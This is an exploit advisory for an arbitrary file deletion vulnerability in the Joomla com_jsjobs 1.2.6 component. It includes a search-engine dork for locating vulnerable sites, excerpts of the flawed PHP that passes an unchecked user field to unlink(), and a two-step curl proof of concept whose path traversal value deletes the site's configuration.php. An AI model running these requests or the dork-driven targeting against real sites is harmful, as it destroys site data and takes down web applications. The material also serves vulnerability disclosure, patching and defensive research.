# Exploit Title: Joomla! component com_jsjobs 1.2.6 - Arbitrary File Deletion
# Dork: inurl:"index.php?option=com_jsjobs"
# Date: 2019-08-16
# Exploit Author: qw3rTyTy
# Vendor Homepage: https://www.joomsky.com/
# Software Link: https://www.joomsky.com/5/download/1
# Version: 1.2.6
# Tested on: Debian/nginx/joomla 3.9.0
# Vulnerability details:
# This vulnerability is caused when processing custom userfield.
File: site/models/job.php
Function: storeJob
Line: 1240
-------------------------------------
1215 //custom field code start
1216 $customflagforadd = false;
1217 $customflagfordelete = false;
1218 $custom_field_namesforadd = array();
1219 $custom_field_namesfordelete = array();
1220 $userfield = $this->getJSModel('customfields')->getUserfieldsfor(2);
1221 $params = array();
1222 $forfordelete = '';
1223
1224 foreach ($userfield AS $ufobj) {
1225 $vardata = '';
1226 if($ufobj->userfieldtype == 'file'){
1227 if(isset($data[$ufobj->field.'_1']) && $data[$ufobj->field.'_1'] == 0){
1228 $vardata = $data[$ufobj->field.'_2'];
1229 }else{
1230 $vardata = $_FILES[$ufobj->field]['name'];
1231 }
1232 $customflagforadd=true;
1233 $custom_field_namesforadd[]=$ufobj->field;
1234 }else{
1235 $vardata = isset($data[$ufobj->field]) ? $data[$ufobj->field] : '';
1236 }
1237 if(isset($data[$ufobj->field.'_1']) && $data[$ufobj->field.'_1'] == 1){
1238 $customflagfordelete = true;
1239 $forfordelete = $ufobj->field;
1240 $custom_field_namesfordelete[]= $data[$ufobj->field.'_2']; //No check.
1241 }
...snip...
1323 // new
1324 //removing custom field
1325 if($customflagfordelete == true){
1326 foreach ($custom_field_namesfordelete as $key) {
1327 $res = $this->getJSModel('common')->uploadOrDeleteFileCustom($row->id,$key ,1,2); //!!!
1328 }
1329 }
File: site/models/common.php
Function: uploadOrDeleteFileCustom
Line: 851
-------------------------------------
748 $path = $base . '/' . $datadirectory;
749 if (!file_exists($path)) { // create user directory
750 $this->makeDir($path);
751 }
752 $isupload = false;
753 $path = $path . '/data';
754 if (!file_exists($path)) { // create user directory
755 $this->makeDir($path);
756 }
757 if($for == 3 )
758 $path = $path . '/jobseeker';
759 else
760 $path = $path . '/employer';
761
762 if (!file_exists($path)) { // create user directory
763 $this->makeDir($path);
764 }
...snip...
843 } else { // DELETE FILES
844 if ($isdeletefile == 1) {
845 if($for == 3){
846 $userpath = $path . '/'.$datafor.'_' . $resumeid . '/customfiles/';
847 }else{
848 $userpath = $path . '/'.$datafor.'_' . $id . '/customfiles/';
849 }
850 $file = $userpath.$field;
851 unlink($file); //!!!
852 }
853 return 1;
854 }
855 }
#####################################
#PoC:
#####################################
# If an administrator has added custom userfield 'ufield926' as field type 'file', attacker are can trigger this vulnerability by send a following requests.
$> curl -X POST -i -H 'Cookie: VALID_SESSION_ID=VALID_SESSION_ID' -F 'options=com_jsjobs' -F 'task=job.savejob' -F 'id=' -F 'enforcestoppublishjob=666' -F 'startpublishing=2019-08-16' -F 'stoppublishing=2019-08-16' -F 'description=woot' -F 'title=woot' -F 'ufield926=@./valid_image.jpg' -F 'VALID_FORM_TOKEN_FROM_FORMJOB=1' "http://localhost/index.php"
$> curl -X POST -i -H 'Cookie: VALID_SESSION_ID=VALID_SESSION_ID' -F 'options=com_jsjobs' -F 'task=job.savejob' -F 'id=666' -F 'enforcestoppublishjob=666' -F 'startpublishing=2019-08-16' -F 'stoppublishing=2019-08-16' -F 'description=woot' -F 'title=woot' -F 'ufield926_1=1' -F 'ufield926_2=../../../../../configuration.php' -F 'VALID_FORM_TOKEN_FROM_FORMJOB=1' "http://localhost/index.php"
